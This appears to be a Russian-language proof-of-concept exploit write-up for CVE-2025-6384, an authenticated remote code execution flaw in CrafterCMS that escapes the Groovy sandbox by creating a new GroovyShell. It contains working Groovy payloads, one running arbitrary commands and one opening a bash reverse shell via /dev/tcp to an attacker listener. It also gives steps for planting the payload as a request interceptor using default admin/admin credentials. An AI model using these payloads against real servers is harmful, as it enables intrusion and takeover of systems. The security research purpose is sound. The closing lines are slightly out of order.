
PoC-эксплойт для аутентифицированного RCE в CrafterCMS через обход песочницы Groovy (CVE-2025-6384)
Proof of Concept для аутентифицированной уязвимости удалённого выполнения кода в CrafterCMS.
Аутентифицированный пользователь с правами разработчика может обойти песочницу Groovy-скриптов в Crafter Studio для достижения удалённого выполнения кода (RCE). Песочница не блокирует создание нового экземпляра GroovyShell, который можно использовать для создания новой, неограниченной среды выполнения.
Вы можете быстро развернуть уязвимый экземпляр CrafterCMS для тестирования, используя официальные файлы Docker Compose.
Клонируйте репозиторий docker-compose от CrafterCMS:
git clone https://github.com/craftercms/docker-compose.git
Перейдите в каталог среды разработки authoring:
cd docker-compose/authoring
Запустите контейнеры. Это загрузит необходимые образы и запустит стек CrafterCMS.
docker-compose up
(Примечание: в зависимости от вашей установки Docker может потребоваться sudo.)
Дождитесь полной инициализации сервисов. Вы можете получить доступ к Crafter Studio по адресу http://localhost:8080/studio.
adminadminХотя песочница корректно блокирует прямые методы выполнения, она допускает следующую полезную нагрузку, которая создаёт новую оболочку Groovy без ограничений песочницы.
// File: /scripts/interceptors/pwn.groovy
def shell = new GroovyShell()
def command = "id" // <-- Your command here
def result = shell.evaluate("'''${command}'''.execute().text")
// The output is printed to the server logs
System.err.println("[RCE-PoC] " + result)
Эта полезная нагрузка демонстрирует полный RCE, устанавливая обратную оболочку (reverse shell) на машину, контролируемую атакующим.
На вашей машине запустите слушатель (например, с помощью netcat), чтобы принимать входящее подключение:
nc -lvnp 4444
Используйте следующий Groovy-скрипт в качестве полезной нагрузки. Не забудьте заменить <YOUR_IP> и <YOUR_PORT> на IP-адрес и порт вашего слушателя.
// File: /scripts/interceptors/exploit.groovy
def attacker_ip = "<YOUR_IP>"
def attacker_port = "4444" // Or <YOUR_PORT>
def cmd = "bash -i >& /dev/tcp/" + attacker_ip + "/" + attacker_port + " 0>&1"
def shell = new GroovyShell()
// Use triple quotes to handle the command string easily
shell.evaluate("""
new ProcessBuilder("/bin/bash", "-c", "${cmd}").start()
""")
System.err.println("Reverse shell payload executed.")
Войдите в Crafter Studio (http://localhost:8080/studio), используя учётные данные по умолчанию (admin / admin).
Перейдите в Site Config -> Scripts.
Нажмите Create/Edit Script в разделе «Groovy Scripts».
Выберите тип скрипта, который будет выполняться, например Request Interceptor.
Вставьте PoC-полезную нагрузку в редактор скриптов и сохраните её.
Запустите скрипт, посетив любую страницу сайта (например, http://localhost:8080).
Проверьте журналы стандартной ошибки сервера, чтобы увидеть вывод команды.
docker-compose logs -f crafter
Ожидаемый вывод:
GroovyShell: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
Этот материал предназначен исключительно для образовательных и исследовательских целей. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый данной информацией.
netcat. Вы должны получить сеанс оболочки из контейнера.
